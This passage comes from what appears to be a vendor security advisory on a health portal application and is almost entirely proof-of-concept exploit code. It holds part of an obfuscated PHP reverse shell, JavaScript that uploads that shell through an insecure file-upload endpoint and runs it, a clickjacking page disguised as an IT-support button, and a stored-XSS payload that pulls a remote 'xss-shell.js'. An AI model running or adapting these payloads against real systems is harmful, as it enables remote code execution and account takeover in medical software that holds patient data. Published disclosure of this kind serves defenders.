$o=shell_exec($c);
}else
if($xGRjG('passthru')and!$nqZc('passthru',$dis)){
ob_start();
passthru($c);
$o=ob_get_contents();
ob_end_clean();
}else
{
$o=0;
}
return $o;
}
}
$nofuncs='no exec functions';
if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){
$s=@fsockopen("tcp://127.0.0.1",$port);
while($c=fread($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=RdxQvmVXDdP(substr($c,0,-1));
if($out===false){
fwrite($s,$nofuncs);
break;
}
}
fwrite($s,$out);
}
fclose($s);
}else{
$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
@socket_connect($s,$ipaddr,$port);
@socket_write($s,"socket_create");
while($c=@socket_read($s,2048)){
$out = '';
if(substr($c,0,3) == 'cd '){
chdir(substr($c,3,-1));
} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {
break;
}else{
$out=RdxQvmVXDdP(substr($c,0,-1));
if($out===false){
@socket_write($s,$nofuncs);
break;
}
}
@socket_write($s,$out,strlen($out));
}
@socket_close($s);
}`
// Uploads shell code via insecure file upload, executes shell
var formData = new FormData();
var blob = new Blob([shellCode], { type: "application/x-php"});
formData.append('name', 'rshell.php')
formData.append('file', blob, 'shell.php')
var x = ''
fetch('/gui/file_upload.php?delete_after_upload=N&use_real_file=Y&user_id=31337&patient_id=&encounter_id=0&encrypt=N&target_folder=preferences',{
method: 'POST',
credentials: 'include',
body: formData
}).then(response => response.json())
.catch(error => console.error('Error:', error))
.then(response => fetch('/webroot/userhome/preferences/' + response["fileName"]));
Clickjacking
The following code (clickjacked.html) was used in the Clickjacking finding included in this advisory:
<!DOCTYPE html>
<html class="bg">
<head>
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Malaphar Health Portal</title>
</head>
<body>
<style>
body,
html {
height: 100%;
}
.bg {
background-image: url("health.jpeg");
height: 100%;
background-position: center;
background-repeat: no-repeat;
background-size: cover;
}
</style>
<div id="container" style="clip-path: inset(200px 910px 400px 200px); clip: rect(200px, 910px, 400px, 200px); overflow: hidden; position: absolute; left: 0px; top: 0px; width: 100%; height: 100%;"">
<input id="clickjack_focus" style=""opacity:0;position:absolute;left:-5000px;"">
<div id="clickjack_button" style=""opacity: 1; transform-style: preserve-3d; text-align: center; font-family: Arial; font-size: 200%; width: 700px; height: 110px; z-index: 0; background-color: rgb(25, 0, 255); color: rgb(8, 2, 2); position: absolute; left: 50px; top: 250px;""><div style=""position:relative;top: 30%;transform: translateY(-50%);"">Click Here
For IT support</div></div>
<!-- Show this element when clickjacking is complete -->
<div id="clickjack_complete" style="display:none;-webkit-transform-style: preserve-3d;-moz-transform-style: preserve-3d;transform-style: preserve-3d;font-family:Arial;font-size:16pt;color:red;text-align:center;width:100%;height:100%;"><div style="position:relative;top: 50%;transform: translateY(-50%);">We will handle your issue remotely!</div></div>
<iframe id="parentFrame" src=""data:text/html;base64,PHNjcmlwdD53aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsIGZ1bmN0aW9uKGUpeyB2YXIgZGF0YSwgY2hpbGRGcmFtZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJjaGlsZEZyYW1lIik7IHRyeSB7IGRhdGEgPSBKU09OLnBhcnNlKGUuZGF0YSk7IH0gY2F0Y2goZSl7IGRhdGEgPSB7fTsgfSBpZighZGF0YS5jbGlja2JhbmRpdCl7IHJldHVybiBmYWxzZTsgfSBjaGlsZEZyYW1lLnN0eWxlLndpZHRoID0gZGF0YS5kb2NXaWR0aCsicHgiO2NoaWxkRnJhbWUuc3R5bGUuaGVpZ2h0ID0gZGF0YS5kb2NIZWlnaHQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLmxlZnQgPSBkYXRhLmxlZnQrInB4IjtjaGlsZEZyYW1lLnN0eWxlLnRvcCA9IGRhdGEudG9wKyJweCI7fSwgZmFsc2UpOzwvc2NyaXB0PjxpZnJhbWUgc3JjPSJodHRwOi8vbG9jYWxob3N0L2luZGV4X3BhZ2UucGhwIiBzY3JvbGxpbmc9Im5vIiBzdHlsZT0id2lkdGg6MTkwNnB4O2hlaWdodDo5NzRweDtwb3NpdGlvbjphYnNvbHV0ZTtsZWZ0Oi0xM3B4O3RvcDo5MXB4O2JvcmRlcjowOyIgZnJhbWVib3JkZXI9IjAiIGlkPSJjaGlsZEZyYW1lIiBvbmxvYWQ9InBhcmVudC5wb3N0TWVzc2FnZShKU09OLnN0cmluZ2lmeSh7Y2xpY2tiYW5kaXQ6MX0pLCcqJykiPjwvaWZyYW1lPg==" scrolling="no" style="transform: scale(10); transform-origin: 200px 200px 0px; opacity: 0; border: 0px none; position: absolute; z-index: 1; width: 1906px; height: 974px; left: 0px; top: 0px;" frameborder="0"></iframe>
</div>
<script>function findPos(obj) {
var left = 0, top = 0;
if(obj.offsetParent) {
while(1) {
left += obj.offsetLeft;
top += obj.offsetTop;
if(!obj.offsetParent) {
break;
}
obj = obj.offsetParent;
}
} else if(obj.x && obj.y) {
left += obj.x;
top += obj.y;
}
return [left,top];
}function generateClickArea(pos) {
var elementWidth, elementHeight, x, y, parentFrame = document.getElementById(''parentFrame'), desiredX = 200, desiredY = 200, parentOffsetWidth, parentOffsetHeight, docWidth, docHeight,
btn = document.getElementById('clickjack_button');
if(pos < window.clickbandit.config.clickTracking.length) {
clickjackCompleted(false);
elementWidth = window.clickbandit.config.clickTracking[pos].width;
elementHeight = window.clickbandit.config.clickTracking[pos].height;
btn.style.width = elementWidth + 'px';
btn.style.height = elementHeight + 'px';
window.clickbandit.elementWidth = elementWidth;
window.clickbandit.elementHeight = elementHeight;
x = window.clickbandit.config.clickTracking[pos].left;
y = window.clickbandit.config.clickTracking[pos].top;
docWidth = window.clickbandit.config.clickTracking[pos].documentWidth;
docHeight = window.clickbandit.config.clickTracking[pos].documentHeight;
parentOffsetWidth = desiredX - x;
parentOffsetHeight = desiredY - y;
parentFrame.style.width = docWidth+'px';
parentFrame.style.height = docHeight+'px';
parentFrame.contentWindow.postMessage(JSON.stringify({clickbandit: 1, docWidth: docWidth, docHeight: docHeight, left: parentOffsetWidth, top: parentOffsetHeight}),'*');
calculateButtonSize(getFactor(parentFrame));
showButton();
if(parentFrame.style.opacity === '0') {
calculateClip();
}
} else {
resetClip();
hideButton();
clickjackCompleted(true);
}
}function hideButton() {
var btn = document.getElementById('clickjack_button');
btn.style.opacity = 0;
}function showButton() {
var btn = document.getElementById('clickjack_button');
btn.style.opacity = 1;
}function clickjackCompleted(show) {
var complete = document.getElementById('clickjack_complete');
if(show) {
complete.style.display = 'block';
} else {
complete.style.display = 'none';
}
}window.addEventListener("message", function handleMessages(e){
var data;
try {
data = JSON.parse(e.data);
} catch(e){
data = {};
}
if(!data.clickbandit) {
return false;
}
showButton();
},false);window.addEventListener("blur", function(){ if(window.clickbandit.mouseover) { hideButton();setTimeout(function(){ generateClickArea(++window.clickbandit.config.currentPosition);document.getElementById("clickjack_focus").focus();},1000); } }, false);document.getElementById("parentFrame").addEventListener("mouseover",function(){ window.clickbandit.mouseover = true; }, false);document.getElementById("parentFrame").addEventListener("mouseout",function(){ window.clickbandit.mouseover = false; }, false);</script><script>window.clickbandit={mode: "review", mouseover:false,elementWidth:71,elementHeight:20,config:{"clickTracking":[{"width":71,"height":20,"mouseX":250,"mouseY":119,"left":213,"top":109,"documentWidth":1906,"documentHeight":974}],"currentPosition":0}};function calculateClip() {
var btn = document.getElementById('clickjack_button'), w = btn.offsetWidth, h = btn.offsetHeight, container = document.getElementById('container'), x = btn.offsetLeft, y = btn.offsetTop;
container.style.overflow = 'hidden';
container.style.clip = 'rect('+y+'px, '+(x+w)+'px, '+(y+h)+'px, '+x+'px)';
container.style.clipPath = 'inset('+y+'px '+(x+w)+'px '+(y+h)+'px '+x+'px)';
}function calculateButtonSize(factor) {
var btn = document.getElementById('clickjack_button'), resizedWidth = Math.round(window.clickbandit.elementWidth * factor), resizedHeight = Math.round(window.clickbandit.elementHeight * factor);
btn.style.width = resizedWidth + 'px';
btn.style.height = resizedHeight + 'px';
if(factor > 100) {
btn.style.fontSize = '400%';
} else {
btn.style.fontSize = (factor * 100) + '%';
}
}function resetClip() {
var container = document.getElementById('container');
container.style.overflow = 'visible';
container.style.clip = 'auto';
container.style.clipPath = 'none';
}function getFactor(obj) {
if(typeof obj.style.transform === 'string') {
return obj.style.transform.replace(/[^\d.]/g,'');
}
if(typeof obj.style.msTransform === 'string') {
return obj.style.msTransform.replace(/[^\d.]/g,'');
}
if(typeof obj.style.MozTransform === 'string') {
return obj.style.MozTransform.replace(/[^\d.]/g,'');
}
if(typeof obj.style.oTransform === 'string') {
return obj.style.oTransform.replace(/[^\d.]/g,'');
}
if(typeof obj.style.webkitTransform === 'string') {
return obj.style.webkitTransform.replace(/[^\d.]/g,'');
}
return 1;
}</script>
<script>
var payload = '<img src=x onerror=jQuery.getScript("http://localhost:9090/xss-shell.js")>'
var formData = new FormData();
formData.append('task', 'save');
formData.append('first_name', payload);
fetch('http://localhost/index_body.php?module=contacts&tab=Charts&mount=demographics&patient_id=&mounttype=default&tab_id=&calendar_id=®istration_id=&phone_call_id=&from_finance=', {
credentials: 'include',
method: 'POST',
body: formData
});
</script>
</body>
</html>
#ERROR!
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.